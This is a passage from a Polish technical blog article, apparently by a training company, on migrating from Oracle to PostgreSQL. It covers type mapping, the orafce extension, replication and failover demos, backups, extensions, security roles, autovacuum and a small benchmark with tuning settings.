&lt;td&gt;&lt;code&gt;NOW() + interval 'N days'&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;wszystkie&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Mapowanie typów danych
&lt;/h2&gt;

&lt;p&gt;Większość typów tłumaczy się mechanicznie, ale kilka pozycji to klasyczne źródła błędów. Najważniejsza: oracle’owy &lt;code&gt;DATE&lt;/code&gt; &lt;strong&gt;zawiera godzinę&lt;/strong&gt; — mapuj go na &lt;code&gt;timestamp&lt;/code&gt;, nie na &lt;code&gt;date&lt;/code&gt;, bo inaczej po cichu utniesz czas.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Oracle&lt;/th&gt;
&lt;th&gt;PostgreSQL&lt;/th&gt;
&lt;th&gt;Uwaga&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;NUMBER(p,s)&lt;/td&gt;
&lt;td&gt;numeric(p,s)&lt;/td&gt;
&lt;td&gt;1:1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;NUMBER(≤9) / NUMBER(10..18)&lt;/td&gt;
&lt;td&gt;integer / bigint&lt;/td&gt;
&lt;td&gt;dobór wg precyzji = szybciej i mniej miejsca&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;NUMBER (bez precyzji)&lt;/td&gt;
&lt;td&gt;numeric / bigint / double&lt;/td&gt;
&lt;td&gt;numeric liczony programowo — bywa kilka razy wolniejszy&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;NUMBER(1) jako flaga&lt;/td&gt;
&lt;td&gt;boolean&lt;/td&gt;
&lt;td&gt;częsta i wartościowa zmiana modelu danych&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;VARCHAR2(n) / CHAR(n)&lt;/td&gt;
&lt;td&gt;varchar(n) / char(n)&lt;/td&gt;
&lt;td&gt;limit w PG liczony w znakach&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DATE&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;timestamp(0)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Oracle DATE ma godzinę!&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;TIMESTAMP WITH TIME ZONE&lt;/td&gt;
&lt;td&gt;timestamptz&lt;/td&gt;
&lt;td&gt;uwaga: nie 1:1 (patrz niżej)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CLOB / BLOB / RAW&lt;/td&gt;
&lt;td&gt;text / bytea / bytea&lt;/td&gt;
&lt;td&gt;TOAST obsługuje duże wartości&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ROWID / UROWID&lt;/td&gt;
&lt;td&gt;— (logiczny PK)&lt;/td&gt;
&lt;td&gt;ctid jest nietrwały — przepisz na klucz główny&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;XMLTYPE / typ obiektowy&lt;/td&gt;
&lt;td&gt;xml / typ złożony (composite)&lt;/td&gt;
&lt;td&gt;metody i dziedziczenie typu nieprzenośne&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Dwa mapowania, które tylko wyglądają na 1:1&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;code&gt;NUMBER&lt;/code&gt; bez precyzji&lt;/strong&gt;: w PostgreSQL &lt;code&gt;numeric&lt;/code&gt; o dowolnej precyzji liczony jest programowo i bywa kilka–kilkanaście razy wolniejszy oraz cięższy niż &lt;code&gt;bigint&lt;/code&gt;/&lt;code&gt;double precision&lt;/code&gt;. Jeśli kolumna mieści się w zakresie całkowitym (zwłaszcza klucze i kolumny w &lt;code&gt;GROUP BY&lt;/code&gt;/&lt;code&gt;JOIN&lt;/code&gt;), zmapuj ją świadomie na &lt;code&gt;bigint&lt;/code&gt;, a nie bezrefleksyjnie na &lt;code&gt;numeric&lt;/code&gt;. &lt;strong&gt;&lt;code&gt;TIMESTAMP WITH TIME ZONE&lt;/code&gt;&lt;/strong&gt;: Oracle zapisuje strefę w wartości, a &lt;code&gt;timestamptz&lt;/code&gt; normalizuje wejście do UTC i pierwotnej strefy &lt;em&gt;nie przechowuje&lt;/em&gt; — przy danych z różnych stref ta informacja przepada.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://jsystems.pl/blog/show_post/orafce-funkcje-oracle-postgresql-migracja" rel="noopener noreferrer"&gt;orafce&lt;/a&gt; — warstwa zgodności, która oszczędza przepisywania&lt;/p&gt;

&lt;p&gt;Instalacja jest dwustopniowa: pakiet z systemu (&lt;code&gt;apt-get install postgresql-16-orafce&lt;/code&gt;) i włączenie w bazie (&lt;code&gt;CREATE EXTENSION orafce;&lt;/code&gt;, potem dodaj schemat &lt;code&gt;oracle&lt;/code&gt; do &lt;code&gt;search_path&lt;/code&gt;). Zakres jest szeroki: funkcje skalarne (&lt;code&gt;nvl&lt;/code&gt;, &lt;code&gt;nvl2&lt;/code&gt;, &lt;code&gt;decode&lt;/code&gt;, &lt;code&gt;instr&lt;/code&gt;, &lt;code&gt;to_char/to_date/to_number&lt;/code&gt; z maskami Oracle, &lt;code&gt;add_months&lt;/code&gt;, &lt;code&gt;last_day&lt;/code&gt;, &lt;code&gt;trunc&lt;/code&gt; na datach), pseudo-tabela &lt;code&gt;dual&lt;/code&gt;, &lt;code&gt;sysdate&lt;/code&gt;, a także emulacje pakietów: &lt;code&gt;dbms_output&lt;/code&gt;, &lt;code&gt;dbms_random&lt;/code&gt;, &lt;code&gt;dbms_alert&lt;/code&gt;, &lt;code&gt;dbms_pipe&lt;/code&gt;, &lt;code&gt;utl_file&lt;/code&gt; oraz typy &lt;code&gt;varchar2/nvarchar2&lt;/code&gt; z oracle’ową semantyką długości. Dlatego warto instalować je na samym starcie.&lt;/p&gt;

&lt;h2&gt;
  
  
  Wysoka dostępność i replikacja
&lt;/h2&gt;

&lt;p&gt;To obszar, który budzi najwięcej obaw przy odchodzeniu od Oracle („a co z RAC i Data Guard?”). W praktyce PostgreSQL ma komplet odpowiedników, często prostszych w utrzymaniu:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Potrzeba&lt;/th&gt;
&lt;th&gt;Oracle&lt;/th&gt;
&lt;th&gt;PostgreSQL&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Replika tylko-do-odczytu / DR&lt;/td&gt;
&lt;td&gt;Data Guard&lt;/td&gt;
&lt;td&gt;
&lt;a href="https://jsystems.pl/blog/show_post/postgresql_-_replikacja_fizyczna_strumieniowa_hot-standby" rel="noopener noreferrer"&gt;&lt;strong&gt;replikacja strumieniowa&lt;/strong&gt;&lt;/a&gt; (wbudowana)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Automatyczny failover&lt;/td&gt;
&lt;td&gt;Data Guard Broker / FSFO&lt;/td&gt;
&lt;td&gt;
&lt;a href="https://jsystems.pl/blog/show_post/postgresql_-_patroni_postgresql_o_wysokiej_dostepnosci_-_wprowadzenie" rel="noopener noreferrer"&gt;&lt;strong&gt;Patroni&lt;/strong&gt;&lt;/a&gt; (+ etcd) lub repmgr&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Klaster „wspólnego dysku”&lt;/td&gt;
&lt;td&gt;RAC&lt;/td&gt;
&lt;td&gt;brak 1:1 — zwykle Patroni lub Citus&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Replikacja logiczna / selektywna&lt;/td&gt;
&lt;td&gt;GoldenGate&lt;/td&gt;
&lt;td&gt;
&lt;a href="https://jsystems.pl/blog/show_post/postgresql_-_replikacja_logiczna" rel="noopener noreferrer"&gt;&lt;strong&gt;replikacja logiczna&lt;/strong&gt;&lt;/a&gt; (wbudowana, od PG10)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Backup + PITR&lt;/td&gt;
&lt;td&gt;RMAN&lt;/td&gt;
&lt;td&gt;
&lt;a href="https://jsystems.pl/blog/show_post/postgresql_-_pgbackrest_-_backup__recovery_klasy_enterprise_w_tym_kopie_przyrostowe_i_roznicowe" rel="noopener noreferrer"&gt;&lt;strong&gt;pgBackRest&lt;/strong&gt;&lt;/a&gt; / &lt;a href="https://jsystems.pl/blog/show_post/postgresql_-_archiwizacja_ciagla_goracy_backup_z_pg_basebackup_i_jego_odtwarzanie" rel="noopener noreferrer"&gt;pg_basebackup&lt;/a&gt; + archiwizacja WAL&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Load balancing odczytów&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;
&lt;a href="https://jsystems.pl/blog/show_post/loadbalancing_i_wysoka_dostepnosc_z_haproxy_i_pgbouncerem" rel="noopener noreferrer"&gt;HAProxy&lt;/a&gt; / Pgpool-II&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Jedna różnica filozoficzna: Oracle RAC to architektura &lt;em&gt;wspólnego dysku&lt;/em&gt; (wszystkie węzły widzą tę samą pamięć masową), a typowy klaster PostgreSQL to architektura &lt;em&gt;bez współdzielenia&lt;/em&gt; (każdy węzeł ma własną kopię danych, synchronizowaną strumieniem WAL). Dla większości zastosowań to drugie podejście jest tańsze i prostsze operacyjnie.&lt;/p&gt;

&lt;p&gt;Wysoka dostepnosc PostgreSQL - replikacja strumieniowaPRIMARYzapis + odczytport 5432HOT STANDBYtylko odczytport 5433strumien WALopoznienie ~5 msaplikacja (W/R)raporty (R)Awaria primary -&amp;gt; promocja standby (pg_promote / Patroni). Odpowiednik Oracle Data Guard. Klastry produkcyjne: Patroni + etcd + HAProxy.&lt;/p&gt;

&lt;p&gt;Replikacja strumieniowa: primary wysyła strumień WAL do gorącej repliki (standby); awaria → promocja repliki.&lt;/p&gt;

&lt;p&gt;Postawiliśmy to na żywo: jeden klaster jako &lt;strong&gt;primary&lt;/strong&gt; (port 5432), drugi jako &lt;strong&gt;gorąca replika&lt;/strong&gt; (hot standby, port 5433) — replika gotowa do natychmiastowego przejęcia ruchu — zbudowana przez &lt;a href="https://jsystems.pl/blog/show_post/postgresql_-_archiwizacja_ciagla_goracy_backup_z_pg_basebackup_i_jego_odtwarzanie" rel="noopener noreferrer"&gt;&lt;code&gt;pg_basebackup&lt;/code&gt;&lt;/a&gt; z opcją &lt;code&gt;-R&lt;/code&gt;. Po stronie primary widać aktywny strumień:&lt;/p&gt;

&lt;p&gt;psql -p 5432&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;-- na primary: kto sie replikuje?
SELECT application_name, state, sync_state, client_addr,
       pg_size_pretty(pg_wal_lsn_diff(sent_lsn,replay_lsn)) AS opoznienie
  FROM pg_stat_replication;

 application_name |   state   | sync_state | client_addr | opoznienie
------------------+-----------+------------+-------------+-----------
 16/standby       | streaming | async      | 127.0.0.1   | 0 bytes
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Test „na żywo”: zapis na primary jest natychmiast widoczny na standby, zapis na standby jest odrzucany (replika jest tylko-do-odczytu), a po awarii promujemy standby do roli primary:&lt;/p&gt;

&lt;p&gt;failover demo&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[primary 5432] INSERT INTO customers(...) RETURNING customer_id;  -- 5001
[standby 5433] SELECT ... WHERE customer_id=5001;  -- rekord juz jest (replikacja)
[standby 5433] INSERT ...;  -- ERROR: cannot execute INSERT in a read-only transaction
[primary 5432] write_lag | flush_lag | replay_lag
               00:00:00.005 | 00:00:00.013 | 00:00:00.022   -- ~5-22 ms

-- FAILOVER: promocja repliki
$ pg_ctlcluster 16 standby promote
[standby] SELECT pg_is_in_recovery();  -&amp;gt;  f   (to juz jest primary)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Uniwersalna promocja i produkcyjny Patroni&lt;/p&gt;

&lt;p&gt;&lt;code&gt;pg_ctlcluster&lt;/code&gt; to wrapper Debiana/Ubuntu; uniwersalne odpowiedniki promocji repliki to &lt;code&gt;pg_ctl promote -D &amp;lt;katalog_danych&amp;gt;&lt;/code&gt; albo funkcja SQL &lt;code&gt;SELECT pg_promote()&lt;/code&gt; (można ją wywołać zdalnie przez &lt;code&gt;psql&lt;/code&gt;). Ręczna promocja jest dobra do nauki — w produkcji używa się &lt;a href="https://jsystems.pl/blog/show_post/postgresql_-_patroni_postgresql_o_wysokiej_dostepnosci_-_wprowadzenie" rel="noopener noreferrer"&gt;&lt;strong&gt;Patroni&lt;/strong&gt;&lt;/a&gt; (z etcd/Consul) do automatycznego wyboru lidera i failoveru oraz &lt;a href="https://jsystems.pl/blog/show_post/loadbalancing_i_wysoka_dostepnosc_z_haproxy_i_pgbouncerem" rel="noopener noreferrer"&gt;&lt;strong&gt;HAProxy&lt;/strong&gt;&lt;/a&gt; do kierowania ruchu. To dzisiejszy standard klastrowego PostgreSQL, odpowiednik logiki Data Guard Broker.&lt;/p&gt;

&lt;h2&gt;
  
  
  Kopie zapasowe i odtwarzanie do punktu w czasie
&lt;/h2&gt;

&lt;p&gt;Odpowiednikiem RMAN jest &lt;a href="https://jsystems.pl/blog/show_post/postgresql_-_pgbackrest_-_backup__recovery_klasy_enterprise_w_tym_kopie_przyrostowe_i_roznicowe" rel="noopener noreferrer"&gt;&lt;strong&gt;pgBackRest&lt;/strong&gt;&lt;/a&gt; — obsługuje kopie pełne, przyrostowe i różnicowe, równoległość, kompresję, szyfrowanie, repozytoria w S3/GCS oraz &lt;strong&gt;PITR&lt;/strong&gt; (odtworzenie do dowolnej sekundy) dzięki ciągłej archiwizacji WAL. Sama logika jest bliska RMAN-owi:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# pelna kopia
pgbackrest --stanza=nordpol --type=full backup
# przyrostowa (tylko zmiany od ostatniej)
pgbackrest --stanza=nordpol --type=incr backup
# odtworzenie do punktu w czasie (PITR)
pgbackrest --stanza=nordpol --type=time \
  --target='2026-06-05 12:00:00' restore
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Rozszerzenia — przewaga ekosystemu
&lt;/h2&gt;

&lt;p&gt;Największa różnica mentalna przy przejściu na PostgreSQL: wiele rzeczy, za które w Oracle płaci się za opcje licencyjne, tu jest &lt;strong&gt;rozszerzeniem&lt;/strong&gt; — często otwartym i instalowanym jednym &lt;code&gt;CREATE EXTENSION&lt;/code&gt;. Te najważniejsze przy migracji:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Rozszerzenie&lt;/th&gt;
&lt;th&gt;Do czego&lt;/th&gt;
&lt;th&gt;Odpowiednik w Oracle&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;orafce&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;funkcje zgodne z Oracle (nvl, decode, dual...)&lt;/td&gt;
&lt;td&gt;— (ułatwia migrację)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;pg_stat_statements&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;analiza najcięższych zapytań&lt;/td&gt;
&lt;td&gt;AWR / v$sql&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;pgvector&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;wektory i wyszukiwanie semantyczne (AI)&lt;/td&gt;
&lt;td&gt;AI Vector Search (23ai)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PostGIS&lt;/td&gt;
&lt;td&gt;dane przestrzenne (geo)&lt;/td&gt;
&lt;td&gt;Oracle Spatial&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;pg_partman&lt;/td&gt;
&lt;td&gt;automatyczne zarządzanie partycjami&lt;/td&gt;
&lt;td&gt;Partitioning (opcja)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://jsystems.pl/blog/show_post/PG_CRON_-_czyli_cykliczne_uruchamianie_zada%C5%84_w_PostgreSQL" rel="noopener noreferrer"&gt;pg_cron&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;harmonogram zadań w bazie&lt;/td&gt;
&lt;td&gt;DBMS_SCHEDULER&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Citus&lt;/td&gt;
&lt;td&gt;sharding / skalowanie poziome&lt;/td&gt;
&lt;td&gt;RAC / Sharding (częściowo)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;TimescaleDB&lt;/td&gt;
&lt;td&gt;szeregi czasowe&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://jsystems.pl/blog/show_post/linki_bazodanowe_w_postgresql_odpytuj_tabele_w_innych_bazach_postgresql_a_takze_oracle_i_microsoft_sql_server" rel="noopener noreferrer"&gt;oracle_fdw / postgres_fdw&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;linki do innych baz&lt;/td&gt;
&lt;td&gt;database links&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;To zwykle przesądza o całkowitym koszcie posiadania (TCO)&lt;/p&gt;

&lt;p&gt;Funkcje, które w Oracle są płatnymi opcjami (partycjonowanie, kompresja zaawansowana, diagnostyka AWR, Spatial, In-Memory), w PostgreSQL są w rdzeniu albo w darmowych rozszerzeniach. Dla wielu firm to jedyny argument, który naprawdę przekonuje zarząd — brak opłat licencyjnych przy zachowaniu funkcjonalności.&lt;/p&gt;

&lt;h2&gt;
  
  
  Ścieżki komercyjne, gdy chcesz mniej przepisywać
&lt;/h2&gt;

&lt;p&gt;Poza narzędziami otwartymi istnieją płatne ścieżki, które redukują przepisywanie kodu — warto je znać, by świadomie wybrać kompromis między kosztem licencji a kosztem pracy:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;EDB Postgres Advanced Server (EPAS)&lt;/strong&gt; — PostgreSQL z wbudowaną warstwą zgodności z Oracle: natywnie obsługuje pakiety, &lt;code&gt;PRAGMA AUTONOMOUS_TRANSACTION&lt;/code&gt;, hierarchiczne &lt;code&gt;CONNECT BY&lt;/code&gt; i typy oracle’owe, a &lt;em&gt;EDB Migration Toolkit/Portal&lt;/em&gt; automatyzują przenosiny — kosztem płatnej subskrypcji i lekkiego uzależnienia od dostawcy.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;AWS SCT + DMS&lt;/strong&gt; — AWS Schema Conversion Tool (ocena + konwersja schematu) razem z Database Migration Service (ciągła replikacja danych z przechwytywaniem zmian, CDC) to standard migracji do RDS/Aurora.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Uwaga terminologiczna:&lt;/strong&gt; &lt;em&gt;Babelfish for Aurora PostgreSQL&lt;/em&gt; to warstwa zgodności z Microsoft SQL Server (protokół TDS, T-SQL), a &lt;strong&gt;NIE&lt;/strong&gt; z Oracle — nie używaj go do tej migracji.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Strategia przejścia: na raz czy przyrostowo
&lt;/h2&gt;

&lt;p&gt;Narzędzia i walidacja to jedno — o ryzyku biznesowym decyduje plan samego przełączenia produkcji. Dwa podejścia:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;Migracja na raz (big bang)&lt;/th&gt;
&lt;th&gt;Migracja przyrostowa&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Kiedy&lt;/td&gt;
&lt;td&gt;mała/średnia baza, jest okno serwisowe&lt;/td&gt;
&lt;td&gt;duża baza 24/7, minimalny przestój&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Jak&lt;/td&gt;
&lt;td&gt;zatrzymaj zapisy → &lt;code&gt;ora2pg COPY&lt;/code&gt; → walidacja → przełącz aplikację&lt;/td&gt;
&lt;td&gt;ciągła replikacja (oracle_fdw + &lt;code&gt;INSERT...SELECT&lt;/code&gt; albo AWS DMS z CDC)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Przestój&lt;/td&gt;
&lt;td&gt;godziny&lt;/td&gt;
&lt;td&gt;minuty&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Ryzyko&lt;/td&gt;
&lt;td&gt;większe, ale prostsze&lt;/td&gt;
&lt;td&gt;mniejsze, ale więcej ruchomych części&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Plan rollbacku i prawdziwa walidacja danych&lt;/p&gt;

&lt;p&gt;Zawsze przygotuj &lt;strong&gt;plan wycofania&lt;/strong&gt;: utrzymaj Oracle jako źródło prawdy do czasu potwierdzenia stabilności. Zgodność danych weryfikuj &lt;strong&gt;głębiej niż &lt;code&gt;count(*)&lt;/code&gt;&lt;/strong&gt; — porównaj sumy kontrolne kolumn (np. &lt;code&gt;sum&lt;/code&gt;/&lt;code&gt;min&lt;/code&gt;/&lt;code&gt;max&lt;/code&gt; oraz agregat &lt;code&gt;md5&lt;/code&gt; per tabela) i próbki rekordów brzegowych, szczególnie tam, gdzie wchodzą puste stringi, daty z czasem i liczby zmiennoprzecinkowe.&lt;/p&gt;

&lt;h2&gt;
  
  
  Bezpieczeństwo: role, hasła, audyt
&lt;/h2&gt;

&lt;p&gt;Model uprawnień różni się fundamentalnie. W Oracle użytkownik jest jednocześnie schematem; w PostgreSQL &lt;strong&gt;role&lt;/strong&gt; (z &lt;code&gt;LOGIN&lt;/code&gt; lub bez) i schematy są rozdzielone, a uprawnienia nadaje się przez &lt;code&gt;GRANT&lt;/code&gt; na bazę/schemat/obiekt. Trzy rzeczy do zaplanowania osobno:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Polityki haseł.&lt;/strong&gt; Oracle’owe &lt;code&gt;PROFILE&lt;/code&gt; (&lt;code&gt;FAILED_LOGIN_ATTEMPTS&lt;/code&gt;, wygaśnięcie hasła, limity sesji) nie mają bezpośredniego odpowiednika — w PostgreSQL używa się rozszerzenia &lt;code&gt;passwordcheck&lt;/code&gt;, zewnętrznego uwierzytelniania (LDAP/PAM/SCRAM) i reguł w &lt;code&gt;pg_hba.conf&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Audyt.&lt;/strong&gt; Oracle Unified Audit / &lt;code&gt;AUDIT&lt;/code&gt; zastępuje rozszerzenie &lt;strong&gt;pgAudit&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Bezpieczeństwo na poziomie wiersza.&lt;/strong&gt; Oracle VPD / Label Security to w PostgreSQL &lt;strong&gt;Row-Level Security (RLS)&lt;/strong&gt; — wbudowane w rdzeń.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Mapowanie ról i odtworzenie polityk haseł zaplanuj jako osobny krok przejścia — to często pomijany element, który potrafi zablokować wdrożenie tuż przed startem.&lt;/p&gt;

&lt;h2&gt;
  
  
  Życie po migracji: autovacuum i monitoring
&lt;/h2&gt;

&lt;p&gt;Największa różnica operacyjna względem Oracle to &lt;a href="https://jsystems.pl/blog/show_post/postgresql_-_autovacuum_zaawansowane_zagadnienia_i_tuning" rel="noopener noreferrer"&gt;&lt;strong&gt;autovacuum&lt;/strong&gt;&lt;/a&gt;. PostgreSQL nie nadpisuje wierszy w miejscu — kasowanie i aktualizacja zostawiają „martwe” wersje, które autovacuum sprząta i przy okazji odświeża statystyki planera. Bez jego dostrojenia tabele z dużą rotacją &lt;strong&gt;puchną&lt;/strong&gt; (tzw. bloat), a zapytania zwalniają — Oracle nie ma tego problemu, więc łatwo o nim zapomnieć.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Po załadowaniu danych wykonaj ręczny &lt;code&gt;ANALYZE&lt;/code&gt; (planer potrzebuje świeżych statystyk — inaczej dobiera fatalne plany).&lt;/li&gt;
&lt;li&gt;Monitoruj &lt;code&gt;pg_stat_user_tables&lt;/code&gt; (&lt;code&gt;n_dead_tup&lt;/code&gt;, &lt;code&gt;last_autovacuum&lt;/code&gt;); dla gorących tabel zaostrz &lt;code&gt;autovacuum_vacuum_scale_factor&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Włącz &lt;code&gt;pg_stat_statements&lt;/code&gt; (odpowiednik AWR / &lt;code&gt;v$sql&lt;/code&gt;) — to pierwsze miejsce, gdzie szukać kandydatów do przepisania (jak nasze Q5).&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Benchmark wydajnościowy
&lt;/h2&gt;

&lt;p&gt;Na koniec rzecz najciekawsza: czy PostgreSQL nadąża za Oracle? Zmierzyliśmy &lt;strong&gt;7 reprezentatywnych zapytań&lt;/strong&gt; na tych samych danych (100&amp;nbsp;000 zamówień, 300&amp;nbsp;000 pozycji) i tym samym sprzęcie. Każde uruchomiliśmy po kilka razy i bierzemy &lt;strong&gt;medianę rozgrzanych przebiegów&lt;/strong&gt; (pierwszy, zimny, odrzucamy), zawsze sekwencyjnie — nigdy obie bazy naraz. Szóste z tych zapytań (Q5, podzapytanie skorelowane) zachowało się tak nietypowo, że wyciągnęliśmy je z wykresu i omawiamy osobno na końcu — na głównym wykresie zostaje 6 porównywalnych zapytań.&lt;/p&gt;

&lt;p&gt;Uczciwie o warunkach testu&lt;/p&gt;

&lt;p&gt;To nie jest benchmark „laboratoryjny”, tylko realny pomiar na maszynie 2&amp;nbsp;vCPU / 6&amp;nbsp;GB RAM. &lt;strong&gt;Oracle Database Free&lt;/strong&gt; ma narzucone limity (2 wątki CPU, ~2&amp;nbsp;GB pamięci bazy i 12&amp;nbsp;GB danych), więc PostgreSQL nastrojony do ~2&amp;nbsp;GB pamięci współdzielonej (&lt;code&gt;shared_buffers&lt;/code&gt;) gra w tej samej lidze. Traktuj liczby jako rząd wielkości i ogólną tendencję, nie jako wyrocznię — na Twoim sprzęcie i danych wyjdą inne.&lt;/p&gt;

&lt;p&gt;Oracle vs PostgreSQL - 6 zapytań analitycznych100k zamówień / 300k pozycji · mediana czasu · skala logarytmiczna · niżej = lepiej110100czas &lt;a href="https://dev.tolog"&gt;ms&lt;/a&gt;174194168Q1 agreg.160180158Q2 okno1.01.21.2Q3 hierarch.364026Q4 zakres273836Q6 top-N1299665Q7 PL/SQLOracle 26aiPostgreSQL 16 (domyślny)PostgreSQL 16 (po tuningu)&lt;/p&gt;

&lt;p&gt;Sześć porównywalnych zapytań: PostgreSQL po nastrojeniu dorównuje Oracle lub go wyprzedza. Domyślny PostgreSQL jest wolniejszy — bo celowo nie używa pamięci serwera.&lt;/p&gt;

&lt;p&gt;Wnioski z wykresu: &lt;strong&gt;po nastrojeniu PostgreSQL wygrywa lub remisuje na 5 z 6 zapytań z wykresu&lt;/strong&gt; (Q1, Q2, Q3, Q4, Q7). Oracle jest szybszy na Q6 (top-N, czyli wybranie kilkunastu rekordów z czołówki rankingu). Największy zysk z nastrojenia widać na Q4 i Q7. Ale prawdziwie pouczające jest to jedno zapytanie (Q5), którego na wykresie nie ma — wracamy do niego za chwilę.&lt;/p&gt;

&lt;h3&gt;
  
  
  Co dokładnie nastroiliśmy w PostgreSQL
&lt;/h3&gt;

&lt;p&gt;Domyślny &lt;code&gt;postgresql.conf&lt;/code&gt; jest celowo zachowawczy — ma wystartować na każdym sprzęcie, więc &lt;code&gt;shared_buffers&lt;/code&gt; to raptem 128&amp;nbsp;MB, a &lt;code&gt;work_mem&lt;/code&gt; — 4&amp;nbsp;MB. To pierwsza rzecz do zmiany po migracji:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;-- najwazniejsze parametry (maszyna 6 GB RAM, 2 vCPU, SSD)
ALTER SYSTEM SET shared_buffers           = '1536MB';  -- ~25% RAM
ALTER SYSTEM SET effective_cache_size     = '4GB';     -- ile cache zaklada planer
ALTER SYSTEM SET work_mem                 = '64MB';    -- pamiec na sort/hash (kluczowe!)
ALTER SYSTEM SET maintenance_work_mem     = '256MB';
ALTER SYSTEM SET random_page_cost         = 1.1;       -- SSD
ALTER SYSTEM SET max_parallel_workers_per_gather = 2;
ALTER SYSTEM SET jit                      = off;       -- krotkie zapytania: JIT szkodzi
